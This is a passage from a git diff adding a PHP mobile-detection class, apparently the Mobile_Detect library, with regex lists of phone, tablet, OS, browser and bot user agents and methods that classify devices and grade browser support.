GH-E715|SGH-E890|SGH-F300|SGH-F480|SGH-I200|SGH-I300|SGH-I320|SGH-I550|SGH-I577|SGH-I600|SGH-I607|SGH-I617|SGH-I627|SGH-I637|SGH-I677|SGH-I700|SGH-I717|SGH-I727|SGH-I777|SGH-I780|SGH-I827|SGH-I847|SGH-I857|SGH-I896|SGH-I897|SGH-I900|SGH-I907|SGH-I917|SGH-I927|SGH-I937|SGH-I997|SGH-J150|SGH-J200|SGH-L170|SGH-L700|SGH-M110|SGH-M150|SGH-M200|SGH-N105|SGH-N500|SGH-N600|SGH-N620|SGH-N625|SGH-N700|SGH-N710|SGH-P107|SGH-P207|SGH-P300|SGH-P310|SGH-P520|SGH-P735|SGH-P777|SGH-Q105|SGH-R210|SGH-R220|SGH-R225|SGH-S105|SGH-S307|SGH-T109|SGH-T119|SGH-T139|SGH-T209|SGH-T219|SGH-T229|SGH-T239|SGH-T249|SGH-T259|SGH-T309|SGH-T319|SGH-T329|SGH-T339|SGH-T349|SGH-T359|SGH-T369|SGH-T379|SGH-T409|SGH-T429|SGH-T439|SGH-T459|SGH-T469|SGH-T479|SGH-T499|SGH-T509|SGH-T519|SGH-T539|SGH-T559|SGH-T589|SGH-T609|SGH-T619|SGH-T629|SGH-T639|SGH-T659|SGH-T669|SGH-T679|SGH-T709|SGH-T719|SGH-T729|SGH-T739|SGH-T746|SGH-T749|SGH-T759|SGH-T769|SGH-T809|SGH-T819|SGH-T839|SGH-T919|SGH-T929|SGH-T939|SGH-T959|SGH-T989|SGH-U100|SGH-U200|SGH-U800|SGH-V205|SGH-V206|SGH-X100|SGH-X105|SGH-X120|SGH-X140|SGH-X426|SGH-X427|SGH-X475|SGH-X495|SGH-X497|SGH-X507|SGH-X600|SGH-X610|SGH-X620|SGH-X630|SGH-X700|SGH-X820|SGH-X890|SGH-Z130|SGH-Z150|SGH-Z170|SGH-ZX10|SGH-ZX20|SHW-M110|SPH-A120|SPH-A400|SPH-A420|SPH-A460|SPH-A500|SPH-A560|SPH-A600|SPH-A620|SPH-A660|SPH-A700|SPH-A740|SPH-A760|SPH-A790|SPH-A800|SPH-A820|SPH-A840|SPH-A880|SPH-A900|SPH-A940|SPH-A960|SPH-D600|SPH-D700|SPH-D710|SPH-D720|SPH-I300|SPH-I325|SPH-I330|SPH-I350|SPH-I500|SPH-I600|SPH-I700|SPH-L700|SPH-M100|SPH-M220|SPH-M240|SPH-M300|SPH-M305|SPH-M320|SPH-M330|SPH-M350|SPH-M360|SPH-M370|SPH-M380|SPH-M510|SPH-M540|SPH-M550|SPH-M560|SPH-M570|SPH-M580|SPH-M610|SPH-M620|SPH-M630|SPH-M800|SPH-M810|SPH-M850|SPH-M900|SPH-M910|SPH-M920|SPH-M930|SPH-N100|SPH-N200|SPH-N240|SPH-N300|SPH-N400|SPH-Z400|SWC-E100|SCH-i909|GT-N7100|GT-N8010', + 'Sony' => 'sony|SonyEricsson|SonyEricssonLT15iv|LT18i|E10i', + 'Asus' => 'Asus.*Galaxy', + 'Palm' => 'PalmSource|Palm', // avantgo|blazer|elaine|hiptop|plucker|xiino ; @todo - complete the regex. + 'Vertu' => 'Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vertu.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.*Signature', // Just for fun ;) + // @ref: http://www.pantech.co.kr/en/prod/prodList.do?gbrand=VEGA (PANTECH) + // Most of the VEGA devices are legacy. PANTECH seem to be newer devices based on Android. + 'Pantech' => 'PANTECH|IM-A850S|IM-A840S|IM-A830L|IM-A830K|IM-A830S|IM-A820L|IM-A810K|IM-A810S|IM-A800S|IM-T100K|IM-A725L|IM-A780L|IM-A775C|IM-A770K|IM-A760S|IM-A750K|IM-A740S|IM-A730S|IM-A720L|IM-A710K|IM-A690L|IM-A690S|IM-A650S|IM-A630K|IM-A600S|VEGA PTL21|PT003|P8010|ADR910L|P6030|P6020|P9070|P4100|P9060|P5000|CDM8992|TXT8045|ADR8995|IS11PT|P2030|P6010|P8000|PT002|IS06|CDM8999|P9050|PT001|TXT8040|P2020|P9020|P2000|P7040|P7000|C790', + // @ref: http://www.fly-phone.com/devices/smartphones/ ; Included only smartphones. + 'Fly' => 'IQ230|IQ444|IQ450|IQ440|IQ442|IQ441|IQ245|IQ256|IQ236|IQ255|IQ235|IQ245|IQ275|IQ240|IQ285|IQ280|IQ270|IQ260|IQ250', + // @Tapatalk is a mobile app; @ref: http://support.tapatalk.com/threads/smf-2-0-2-os-and-browser-detection-plugin-and-tapatalk.15565/#post-79039 + 'GenericPhone' => 'Tapatalk|PDA;|PPC;|SAGEM|mmp|pocket|psp|symbian|Smartphone|smartfon|treo|up.browser|up.link|vodafone|wap|nokia|Series40|Series60|S60|SonyEricsson|N900|MAUI.*WAP.*Browser|LG-P500' + ); + // List of tablet devices. + protected $tabletDevices = array( + 'iPad' => 'iPad|iPad.*Mobile', // @todo: check for mobile friendly emails topic. + 'NexusTablet' => '^.*Android.*Nexus(((?:(?!Mobile))|(?:(\s(7|10).+))).)*$', + 'SamsungTablet' => 'SAMSUNG.*Tablet|Galaxy.*Tab|SC-01C|GT-P1000|GT-P1010|GT-P6210|GT-P6800|GT-P6810|GT-P7100|GT-P7300|GT-P7310|GT-P7500|GT-P7510|SCH-I800|SCH-I815|SCH-I905|SGH-I957|SGH-I987|SGH-T849|SGH-T859|SGH-T869|SPH-P100|GT-P3100|GT-P3110|GT-P5100|GT-P5110|GT-P6200|GT-P7320|GT-P7511|GT-N8000|GT-P8510|SGH-I497|SPH-P500|SGH-T779|SCH-I705|SCH-I915|GT-N8013|GT-P3113|GT-P5113|GT-P8110|GT-N8010|GT-N8005|GT-N8020|GT-P1013|GT-P6201|GT-P6810|GT-P7501', + // @reference: http://www.labnol.org/software/kindle-user-agent-string/20378/ + 'Kindle' => 'Kindle|Silk.*Accelerated', + 'AsusTablet' => 'Transformer|TF101', + 'BlackBerryTablet' => 'PlayBook|RIM Tablet', + 'HTCtablet' => 'HTC Flyer|HTC Jetstream|HTC-P715a|HTC EVO View 4G|PG41200', + 'MotorolaTablet' => 'xoom|sholest|MZ615|MZ605|MZ505|MZ601|MZ602|MZ603|MZ604|MZ606|MZ607|MZ608|MZ609|MZ615|MZ616|MZ617', + 'NookTablet' => 'Android.*Nook|NookColor|nook browser|BNTV250A|LogicPD Zoom2', + // @ref: http://www.acer.ro/ac/ro/RO/content/drivers + // @ref: http://www.packardbell.co.uk/pb/en/GB/content/download (Packard Bell is part of Acer) + 'AcerTablet' => 'Android.*\b(A100|A101|A200|A500|A501|A510|A700|A701|W500|W500P|W501|W501P|G100|G100W)\b', + // @ref: http://eu.computers.toshiba-europe.com/innovation/family/Tablets/1098744/banner_id/tablet_footerlink/ + // @ref: http://us.toshiba.com/tablets/tablet-finder + // @ref: http://www.toshiba.co.jp/regza/tablet/ + 'ToshibaTablet' => 'Android.*(AT100|AT105|AT200|AT205|AT270|AT275|AT300|AT305|AT1S5|AT500|AT570|AT700|AT830)', + // @ref: http://www.nttdocomo.co.jp/english/service/developer/smart_phone/technical_info/spec/index.html + 'LGTablet' => '\bL-06C|LG-V900|LG-V909', + 'YarvikTablet' => 'Android.*(TAB210|TAB211|TAB224|TAB250|TAB260|TAB264|TAB310|TAB360|TAB364|TAB410|TAB411|TAB420|TAB424|TAB450|TAB460|TAB461|TAB464|TAB465|TAB467|TAB468)', + 'MedionTablet' => 'Android.*\bOYO\b|LIFE.*(P9212|P9514|P9516|S9512)|LIFETAB', + 'ArnovaTablet' => 'AN10G2|AN7bG3|AN7fG3|AN8G3|AN8cG3|AN7G3|AN9G3|AN7dG3|AN7dG3ST|AN7dG3ChildPad|AN10bG3|AN10bG3DT', + // @reference: http://wiki.archosfans.com/index.php?title=Main_Page + 'ArchosTablet' => 'Android.*ARCHOS|101G9|80G9', + // @reference: http://en.wikipedia.org/wiki/NOVO7 + 'AinolTablet' => 'NOVO7|Novo7Aurora|Novo7Basic|NOVO7PALADIN', + // @todo: inspect http://esupport.sony.com/US/p/select-system.pl?DIRECTOR=DRIVER + // @ref: Readers http://www.atsuhiro-me.net/ebook/sony-reader/sony-reader-web-browser + 'SonyTablet' => 'Sony Tablet|Sony Tablet S|EBRD1101|EBRD1102|EBRD1201', + // @ref: db + http://www.cube-tablet.com/buy-products.html + 'CubeTablet' => 'Android.*(K8GT|U9GT|U10GT|U16GT|U17GT|U18GT|U19GT|U20GT|U23GT|U30GT)', + // @ref: http://www.cobyusa.com/?p=pcat&pcat_id=3001 + 'CobyTablet' => 'MID1042|MID1045|MID1125|MID1126|MID7012|MID7014|MID7034|MID7035|MID7036|MID7042|MID7048|MID7127|MID8042|MID8048|MID8127|MID9042|MID9740|MID9742|MID7022|MID7010', + // @ref: http://pdadb.net/index.php?m=pdalist&list=SMiT (NoName Chinese Tablets) + // @ref: http://www.imp3.net/14/show.php?itemid=20454 + 'SMiTTablet' => 'Android.*(\bMID\b|MID-560|MTV-T1200|MTV-PND531|MTV-P1101|MTV-PND530)', + // @ref: http://www.rock-chips.com/index.php?do=prod&pid=2 + 'RockChipTablet' => 'Android.*(RK2818|RK2808A|RK2918|RK3066)|RK2738|RK2808A', + // @ref: http://www.telstra.com.au/home-phone/thub-2/ + 'TelstraTablet' => 'T-Hub2', + // @ref: http://www.fly-phone.com/devices/tablets/ ; http://www.fly-phone.com/service/ + 'FlyTablet' => 'IQ310|Fly Vision', + // @ref: http://www.bqreaders.com/gb/tablets-prices-sale.html + 'bqTablet' => 'bq.*(Elcano|Curie|Edison|Maxwell|Kepler|Pascal|Tesla|Hypatia|Platon|Newton|Livingstone|Cervantes|Avant)', + // @ref: http://www.huaweidevice.com/worldwide/productFamily.do?method=index&directoryId=5011&treeId=3290 + // @ref: http://www.huaweidevice.com/worldwide/downloadCenter.do?method=index&directoryId=3372&treeId=0&tb=1&type=software (including legacy tablets) + 'HuaweiTablet' => 'MediaPad|IDEOS S7|S7-201c|S7-202u|S7-101|S7-103|S7-104|S7-105|S7-106|S7-201|S7-Slim', + // Nec or Medias Tab + 'NecTablet' => '\bN-06D|\bN-08D', + // @ref: https://www.nabitablet.com/ + 'NabiTablet' => 'Android.*\bNabi', + // @note: Avoid detecting 'PLAYSTATION 3' as mobile. + 'PlaystationTablet' => 'Playstation.*(Portable|Vita)', + 'GenericTablet' => 'Android.*\b97D\b|Tablet(?!.*PC)|ViewPad7|MID7015|BNTV250A|LogicPD Zoom2|\bA7EB\b|CatNova8|A1_07|CT704|CT1002|\bM721\b|hp-tablet', + ); + // List of mobile Operating Systems. + protected $operatingSystems = array( + 'AndroidOS' => 'Android', + 'BlackBerryOS' => 'blackberry|rim tablet os', + 'PalmOS' => 'PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino', + 'SymbianOS' => 'Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\bS60\b', + // @reference: http://en.wikipedia.org/wiki/Windows_Mobile + 'WindowsMobileOS' => 'Windows CE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Window Mobile|Windows Phone [0-9.]+|WCE;', + // @reference: http://en.wikipedia.org/wiki/Windows_Phone + // http://wifeng.cn/?r=blog&a=view&id=106 + // http://nicksnettravels.builttoroam.com/post/2011/01/10/Bogus-Windows-Phone-7-User-Agent-String.aspx + 'WindowsPhoneOS' => 'Windows Phone OS|XBLWP7|ZuneWP7', + 'iOS' => '\biPhone.*Mobile|\biPod|\biPad', + // http://en.wikipedia.org/wiki/MeeGo + // @todo: research MeeGo in UAs + 'MeeGoOS' => 'MeeGo', + // http://en.wikipedia.org/wiki/Maemo + // @todo: research Maemo in UAs + 'MaemoOS' => 'Maemo', + 'JavaOS' => 'J2ME/MIDP|Java/', + 'webOS' => 'webOS|hpwOS', + 'badaOS' => '\bBada\b', + 'BREWOS' => 'BREW', + ); + // List of mobile User Agents. + protected $userAgents = array( + // @reference: https://developers.google.com/chrome/mobile/docs/user-agent + 'Chrome' => '\bCrMo\b|CriOS|Android.*Chrome/[.0-9]* (Mobile)?', + 'Dolfin' => '\bDolfin\b', + 'Opera' => 'Opera.*Mini|Opera.*Mobi|Android.*Opera', + 'Skyfire' => 'Skyfire', + 'IE' => 'IEMobile|MSIEMobile', + 'Firefox' => 'fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile', + 'Bolt' => 'bolt', + 'TeaShark' => 'teashark', + 'Blazer' => 'Blazer', + // @reference: http://developer.apple.com/library/safari/#documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3 + 'Safari' => 'Version.*Mobile.*Safari|Safari.*Mobile', + // @ref: http://en.wikipedia.org/wiki/Midori_(web_browser) + //'Midori' => 'midori', + 'Tizen' => 'Tizen', + 'UCBrowser' => 'UC.*Browser|UCWEB', + // @ref: https://github.com/serbanghita/Mobile-Detect/issues/7 + 'DiigoBrowser' => 'DiigoBrowser', + // http://www.puffinbrowser.com/index.php + 'Puffin' => 'Puffin', + // @reference: http://en.wikipedia.org/wiki/Minimo + // http://en.wikipedia.org/wiki/Vision_Mobile_Browser + 'GenericBrowser' => 'NokiaBrowser|OviBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision' + ); + // Utilities. + protected $utilities = array( + 'TV' => 'SonyDTV115', + 'WebKit' => '(webkit)[ /]([\w.]+)', + 'Bot' => 'Googlebot|DoCoMo|YandexBot|bingbot|ia_archiver|AhrefsBot|Ezooms|GSLFbot|WBSearchBot|Twitterbot|TweetmemeBot|Twikle|PaperLiBot|Wotbox|UnwindFetchor|facebookexternalhit', + 'MobileBot' => 'Googlebot-Mobile|DoCoMo|YahooSeeker/M1A1-R2D2', + ); + // Properties list. + // @reference: http://user-agent-string.info/list-of-ua#Mobile Browser + const VER = '([\w._]+)'; + protected $properties = array( + + // Build + 'Mobile' => 'Mobile/[VER]', + 'Build' => 'Build/[VER]', + 'Version' => 'Version/[VER]', + 'VendorID' => 'VendorID/[VER]', + + // Devices + 'iPad' => 'iPad.*CPU[a-z ]+[VER]', + 'iPhone' => 'iPhone.*CPU[a-z ]+[VER]', + 'iPod' => 'iPod.*CPU[a-z ]+[VER]', + //'BlackBerry' => array('BlackBerry[VER]', 'BlackBerry [VER];'), + 'Kindle' => 'Kindle/[VER]', + + // Browser + 'Chrome' => 'Chrome/[VER]', + 'CriOS' => 'CriOS/[VER]', + 'Dolfin' => 'Dolfin/[VER]', + // @reference: https://developer.mozilla.org/en-US/docs/User_Agent_Strings_Reference + 'Firefox' => 'Firefox/[VER]', + 'Fennec' => 'Fennec/[VER]', + // @reference: http://msdn.microsoft.com/en-us/library/ms537503(v=vs.85).aspx + 'IEMobile' => array('IEMobile/[VER];', 'IEMobile [VER]'), + 'MSIE' => 'MSIE [VER];', + // http://en.wikipedia.org/wiki/NetFront + 'NetFront' => 'NetFront/[VER]', + 'NokiaBrowser' => 'NokiaBrowser/[VER]', + 'NokiaBrowser' => 'NokiaBrowser/[VER]', + 'Opera' => 'Version/[VER]', + 'Opera Mini' => 'Opera Mini/[VER]', + 'Opera Mobi' => 'Version/[VER]', + 'UC Browser' => 'UC Browser[VER]', + 'Safari' => 'Version/[VER]', + 'Skyfire' => 'Skyfire/[VER]', + 'Tizen' => 'Tizen/[VER]', + 'Webkit' => 'webkit[ /][VER]', + + // Engine + 'Gecko' => 'Gecko/[VER]', + 'Trident' => 'Trident/[VER]', + 'Presto' => 'Presto/[VER]', + + // OS + 'Android' => 'Android [VER]', + 'BlackBerry' => array('BlackBerry[\w]+/[VER]', 'BlackBerry.*Version/[VER]'), + 'BREW' => 'BREW [VER]', + 'Java' => 'Java/[VER]', + // @reference: http://windowsteamblog.com/windows_phone/b/wpdev/archive/2011/08/29/introducing-the-ie9-on-windows-phone-mango-user-agent-string.aspx + // @reference: http://en.wikipedia.org/wiki/Windows_NT#Releases + 'Windows Phone OS' => 'Windows Phone OS [VER]', + 'Windows Phone' => 'Windows Phone [VER]', + 'Windows CE' => 'Windows CE/[VER]', + // http://social.msdn.microsoft.com/Forums/en-US/windowsdeveloperpreviewgeneral/thread/6be392da-4d2f-41b4-8354-8dcee20c85cd + 'Windows NT' => 'Windows NT [VER]', + 'Symbian' => array('SymbianOS/[VER]', 'Symbian/[VER]'), + 'webOS' => array('webOS/[VER]', 'hpwOS/[VER];'), + + + ); + + function __construct(){ + + $this->setHttpHeaders(); + $this->setUserAgent(); + + $this->setMobileDetectionRules(); + $this->setMobileDetectionRulesExtended(); + + } + + + /** + * Get the current script version. + * This is useful for the demo.php file, + * so people can check on what version they are testing + * for mobile devices. + */ + public function getScriptVersion(){ + + return $this->scriptVersion; + + } + + public function setHttpHeaders($httpHeaders = null){ + + if(!empty($httpHeaders)){ + $this->httpHeaders = $httpHeaders; + } else { + foreach($_SERVER as $key => $value){ + if(substr($key,0,5)=='HTTP_'){ + $this->httpHeaders[$key] = $value; + } + } + } + + } + + public function getHttpHeaders(){ + + return $this->httpHeaders; + + } + + public function setUserAgent($userAgent = null){ + + if(!empty($userAgent)){ + $this->userAgent = $userAgent; + } else { + $this->userAgent = isset($this->httpHeaders['HTTP_USER_AGENT']) ? $this->httpHeaders['HTTP_USER_AGENT'] : null; + + if(empty($this->userAgent)){ + $this->userAgent = isset($this->httpHeaders['HTTP_X_DEVICE_USER_AGENT']) ? $this->httpHeaders['HTTP_X_DEVICE_USER_AGENT'] : null; + } + // Header can occur on devices using Opera Mini (can expose the real device type). Let's concatenate it (we need this extra info in the regexes). + if(!empty($this->httpHeaders['HTTP_X_OPERAMINI_PHONE_UA'])){ + $this->userAgent .= ' '.$this->httpHeaders['HTTP_X_OPERAMINI_PHONE_UA']; + } + } + + } + + public function getUserAgent(){ + + return $this->userAgent; + + } + + function setDetectionType($type = null){ + + $this->detectionType = (!empty($type) ? $type : 'mobile'); + + } + + public function getPhoneDevices(){ + + return $this->phoneDevices; + + } + + public function getTabletDevices(){ + + return $this->tabletDevices; + + } + + /** + * Method sets the mobile detection rules. + * + * This method is used for the magic methods $detect->is*() + */ + public function setMobileDetectionRules(){ + // Merge all rules together. + $this->mobileDetectionRules = array_merge( + $this->phoneDevices, + $this->tabletDevices, + $this->operatingSystems, + $this->userAgents + ); + + } + + /** + * Method sets the mobile detection rules + utilities. + * The reason this is separate is because utilities rules + * don't necessary imply mobile. + * + * This method is used inside the new $detect->is('stuff') method. + * + * @return bool + */ + public function setMobileDetectionRulesExtended(){ + + // Merge all rules together. + $this->mobileDetectionRulesExtended = array_merge( + $this->phoneDevices, + $this->tabletDevices, + $this->operatingSystems, + $this->userAgents, + $this->utilities + ); + + } + + /** + * @return array + */ + public function getRules() + { + + if($this->detectionType=='extended'){ + return $this->mobileDetectionRulesExtended; + } else { + return $this->mobileDetectionRules; + } + + } + +/** +* Check the HTTP headers for signs of mobile. +* This is the fastest mobile check possible; it's used +* inside isMobile() method. +* @return boolean +*/ + public function checkHttpHeadersForMobile(){ + + if( + isset($this->httpHeaders['HTTP_ACCEPT']) && + (strpos($this->httpHeaders['HTTP_ACCEPT'], 'application/x-obml2d') !== false || // Opera Mini; @reference: http://dev.opera.com/articles/view/opera-binary-markup-language/ + strpos($this->httpHeaders['HTTP_ACCEPT'], 'application/vnd.rim.html') !== false || // BlackBerry devices. + strpos($this->httpHeaders['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false || + strpos($this->httpHeaders['HTTP_ACCEPT'], 'application/vnd.wap.xhtml+xml') !== false) || + isset($this->httpHeaders['HTTP_X_WAP_PROFILE']) || // @todo: validate + isset($this->httpHeaders['HTTP_X_WAP_CLIENTID']) || + isset($this->httpHeaders['HTTP_WAP_CONNECTION']) || + isset($this->httpHeaders['HTTP_PROFILE']) || + isset($this->httpHeaders['HTTP_X_OPERAMINI_PHONE_UA']) || // Reported by Nokia devices (eg. C3) + isset($this->httpHeaders['HTTP_X_NOKIA_IPADDRESS']) || + isset($this->httpHeaders['HTTP_X_NOKIA_GATEWAY_ID']) || + isset($this->httpHeaders['HTTP_X_ORANGE_ID']) || + isset($this->httpHeaders['HTTP_X_VODAFONE_3GPDPCONTEXT']) || + isset($this->httpHeaders['HTTP_X_HUAWEI_USERID']) || + isset($this->httpHeaders['HTTP_UA_OS']) || // Reported by Windows Smartphones. + isset($this->httpHeaders['HTTP_X_MOBILE_GATEWAY']) || // Reported by Verizon, Vodafone proxy system. + isset($this->httpHeaders['HTTP_X_ATT_DEVICEID']) || // Seend this on HTC Sensation. @ref: SensationXE_Beats_Z715e + //HTTP_X_NETWORK_TYPE = WIFI + ( isset($this->httpHeaders['HTTP_UA_CPU']) && + $this->httpHeaders['HTTP_UA_CPU'] == 'ARM' // Seen this on a HTC. + ) + ){ + + return true; + + } + + return false; + + } + + /** + * Magic overloading method. + * + * @method boolean is[...]() + * @param string $name + * @param array $arguments + * @return mixed + */ + public function __call($name, $arguments) + { + + $this->setDetectionType('mobile'); + + $key = substr($name, 2); + return $this->matchUAAgainstKey($key); + + } + + /** + * Find a detection rule that matches the current User-agent. + * + * @param null $userAgent deprecated + * @return boolean + */ + private function matchDetectionRulesAgainstUA($userAgent = null){ + + // Begin general search. + foreach($this->getRules() as $_regex){ + if(empty($_regex)){ continue; } + if( $this->match($_regex, $userAgent) ){ + //var_dump( $_regex ); + return true; + } + } + + return false; + + } + + /** + * Search for a certain key in the rules array. + * If the key is found the try to match the corresponding + * regex agains the User-agent. + * + * @param string $key + * @param null $userAgent deprecated + * @return mixed + */ + private function matchUAAgainstKey($key, $userAgent = null){ + + // Make the keys lowercase so we can match: isIphone(), isiPhone(), isiphone(), etc. + $key = strtolower($key); + $_rules = array_change_key_case($this->getRules()); + + if(array_key_exists($key, $_rules)){ + if(empty($_rules[$key])){ return null; } + return $this->match($_rules[$key], $userAgent); + } + + return false; + + } + + /** + * Check if the device is mobile. + * Returns true if any type of mobile device detected, including special ones + * @param null $userAgent deprecated + * @param null $httpHeaders deprecated + * @return bool + */ + public function isMobile($userAgent = null, $httpHeaders = null) { + + if($httpHeaders){ $this->setHttpHeaders($httpHeaders); } + if($userAgent){ $this->setUserAgent($userAgent); } + + $this->setDetectionType('mobile'); + + if ($this->checkHttpHeadersForMobile()) { + return true; + } else { + return $this->matchDetectionRulesAgainstUA(); + } + + } + + /** + * Check if the device is a tablet. + * Return true if any type of tablet device is detected. + * + * @param null $userAgent deprecated + * @param null $httpHeaders deprecated + * @return bool + */ + public function isTablet($userAgent = null, $httpHeaders = null) { + + $this->setDetectionType('mobile'); + + foreach($this->tabletDevices as $_regex){ + if($this->match($_regex, $userAgent)){ + return true; + } + } + + return false; + + } + + /** + * This method checks for a certain property in the + * userAgent. + * @todo: The httpHeaders part is not yet used. + * + * @param $key + * @param string $userAgent deprecated + * @param string $httpHeaders deprecated + * @return bool|int|null + */ + public function is($key, $userAgent = null, $httpHeaders = null){ + + + // Set the UA and HTTP headers only if needed (eg. batch mode). + if($httpHeaders) $this->setHttpHeaders($httpHeaders); + if($userAgent) $this->setUserAgent($userAgent); + + $this->setDetectionType('extended'); + + return $this->matchUAAgainstKey($key); + + } + + public function getOperatingSystems(){ + + return $this->operatingSystems; + + } + + /** + * Some detection rules are relative (not standard), + * because of the diversity of devices, vendors and + * their conventions in representing the User-Agent or + * the HTTP headers. + * + * This method will be used to check custom regexes against + * the User-Agent string. + * + * @param $regex + * @param string $userAgent + * @return bool + * + * @todo: search in the HTTP headers too. + */ + function match($regex, $userAgent=null){ + + // Escape the special character which is the delimiter. + $regex = str_replace('/', '\/', $regex); + + return (bool)preg_match('/'.$regex.'/is', (!empty($userAgent) ? $userAgent : $this->userAgent)); + + } + + /** + * Get the properties array. + * @return array + */ + function getProperties(){ + + return $this->properties; + + } + + /** + * Prepare the version number. + * + * @param $ver + * @return int + */ + function prepareVersionNo($ver){ + + $ver = str_replace(array('_', ' ', '/'), array('.', '.', '.'), $ver); + $arrVer = explode('.', $ver, 2); + $arrVer[1] = @str_replace('.', '', $arrVer[1]); // @todo: treat strings versions. + $ver = (float)implode('.', $arrVer); + + return $ver; + + } + + /** + * Check the version of the given property in the User-Agent. + * Will return a float number. (eg. 2_0 will return 2.0, 4.3.1 will return 4.31) + * + * @param string $propertyName + * @return mixed $version + */ + function version($propertyName){ + + $properties = $this->getProperties(); + + // If the property is found in the User-Agent then move to the next step. + if(stripos($this->userAgent, $propertyName)!==false){ + + // Prepare the pattern to be matched. + // Make sure we always deal with an array (string is converted). + $properties[$propertyName] = (array)$properties[$propertyName]; + + foreach($properties[$propertyName] as $propertyMatchString){ + + $propertyPattern = str_replace('[VER]', self::VER, $propertyMatchString); + + // Escape the special character which is the delimiter. + $propertyPattern = str_replace('/', '\/', $propertyPattern); + + // Identify and extract the version. + preg_match('/'.$propertyPattern.'/is', $this->userAgent, $match); + + if(!empty($match[1])){ + $version = $this->prepareVersionNo($match[1]); + return $version; + } + + } + + return 0; + + } + + return false; + + } + + function mobileGrade(){ + + $isMobile = $this->isMobile(); + + if( + // Apple iOS 3.2-5.1 - Tested on the original iPad (4.3 / 5.0), iPad 2 (4.3), iPad 3 (5.1), original iPhone (3.1), iPhone 3 (3.2), 3GS (4.3), 4 (4.3 / 5.0), and 4S (5.1) + $this->version('iPad')>=4.3 || + $this->version('iPhone')>=3.1 || + $this->version('iPod')>=3.1 || + + // Android 2.1-2.3 - Tested on the HTC Incredible (2.2), original Droid (2.2), HTC Aria (2.1), Google Nexus S (2.3). Functional on 1.5 & 1.6 but performance may be sluggish, tested on Google G1 (1.5) + // Android 3.1 (Honeycomb) - Tested on the Samsung Galaxy Tab 10.1 and Motorola XOOM + // Android 4.0 (ICS) - Tested on a Galaxy Nexus. Note: transition performance can be poor on upgraded devices + // Android 4.1 (Jelly Bean) - Tested on a Galaxy Nexus and Galaxy 7 + ( $this->version('Android')>2.1 && $this->is('Webkit') ) || + + // Windows Phone 7-7.5 - Tested on the HTC Surround (7.0) HTC Trophy (7.5), LG-E900 (7.5), Nokia Lumia 800 + $this->version('Windows Phone OS')>=7.0 || + + // Blackberry 7 - Tested on BlackBerry® Torch 9810 + // Blackberry 6.0 - Tested on the Torch 9800 and Style 9670 + $this->version('BlackBerry')>=6.0 || + // Blackberry Playbook (1.0-2.0) - Tested on PlayBook + $this->match('Playbook.*Tablet') || + + // Palm WebOS (1.4-2.0) - Tested on the Palm Pixi (1.4), Pre (1.4), Pre 2 (2.0) + ( $this->version('webOS')>=1.4 && $this->match('Palm|Pre|Pixi') ) || + // Palm WebOS 3.0 - Tested on HP TouchPad + $this->match('hp.*TouchPad') || + + // Firefox Mobile (12 Beta) - Tested on Android 2.3 device + ( $this->is('Firefox') && $this->version('Firefox')>=12 ) || + + // Chrome for Android - Tested on Android 4.0, 4.1 device + ( $this->is('Chrome') && $this->is('AndroidOS') && $this->version('Android')>=4.0 ) || + + // Skyfire 4.1 - Tested on Android 2.3 device + ( $this->is('Skyfire') && $this->version('Skyfire')>=4.1 && $this->is('AndroidOS') && $this->version('Android')>=2.3 ) || + + // Opera Mobile 11.5-12: Tested on Android 2.3 + ( $this->is('Opera') && $this->version('Opera Mobi')>11 && $this->is('AndroidOS') ) || + + // Meego 1.2 - Tested on Nokia 950 and N9 + $this->is('MeeGoOS') || + + // Tizen (pre-release) - Tested on early hardware + $this->is('Tizen') || + + // Samsung Bada 2.0 - Tested on a Samsung Wave 3, Dolphin browser + // @todo: more tests here! + $this->is('Dolfin') && $this->version('Bada')>=2.0 || + + // UC Browser - Tested on Android 2.3 device + ( ($this->is('UC Browser') || $this->is('Dolfin')) && $this->version('Android')>=2.3 ) || + + // Kindle 3 and Fire - Tested on the built-in WebKit browser for each + ( $this->match('Kindle Fire') || + $this->is('Kindle') && $this->version('Kindle')>=3.0 ) || + + // Nook Color 1.4.1 - Tested on original Nook Color, not Nook Tablet + $this->is('AndroidOS') && $this->is('NookTablet') || + + // Chrome Desktop 11-21 - Tested on OS X 10.7 and Windows 7 + $this->version('Chrome')>=11 && !$isMobile || + + // Safari Desktop 4-5 - Tested on OS X 10.7 and Windows 7 + $this->version('Safari')>=5.0 && !$isMobile || + + // Firefox Desktop 4-13 - Tested on OS X 10.7 and Windows 7 + $this->version('Firefox')>=4.0 && !$isMobile || + + // Internet Explorer 7-9 - Tested on Windows XP, Vista and 7 + $this->version('MSIE')>=7.0 && !$isMobile || + + // Opera Desktop 10-12 - Tested on OS X 10.7 and Windows 7 + // @reference: http://my.opera.com/community/openweb/idopera/ + $this->version('Opera')>=10 && !$isMobile + + + ){ + return 'A'; + } + + if( + // Blackberry 5.0: Tested on the Storm 2 9550, Bold 9770 + $this->version('BlackBerry')>=5 && $this->version('BlackBerry')<6 || + + //Opera Mini (5.0-6.5) - Tested on iOS 3.2/4.3 and Android 2.3 + ( $this->version('Opera Mini')>=5.0 && $this->version('Opera Mini')<=6.5 && + ($this->version('Android')>=2.3 || $this->is('iOS')) ) || + + // Nokia Symbian^3 - Tested on Nokia N8 (Symbian^3), C7 (Symbian^3), also works on N97 (Symbian^1) + $this->match('NokiaN8|NokiaC7|N97.*Series60|Symbian/3') || + + // @todo: report this (tested on Nokia N71) + $this->version('Opera Mobi')>=11 && $this->is('SymbianOS') + + ){ + return 'B'; + } + + if( + // Blackberry 4.x - Tested on the Curve 8330 + $this->version('BlackBerry')<5.0 || + // Windows Mobile - Tested on the HTC Leo (WinMo 5.2) + $this->match('MSIEMobile|Windows CE.*Mobile') || $this->version('Windows Mobile')<=5.2 + + + ){ + + return 'C'; + + } + + // All older smartphone platforms and featurephones - Any device that doesn't support media queries will receive the basic, C grade experience + return 'C'; + } +} diff --git a/tools/mobile_Detect/index.php b/tools/mobile_Detect/index.php new file mode 100755 index 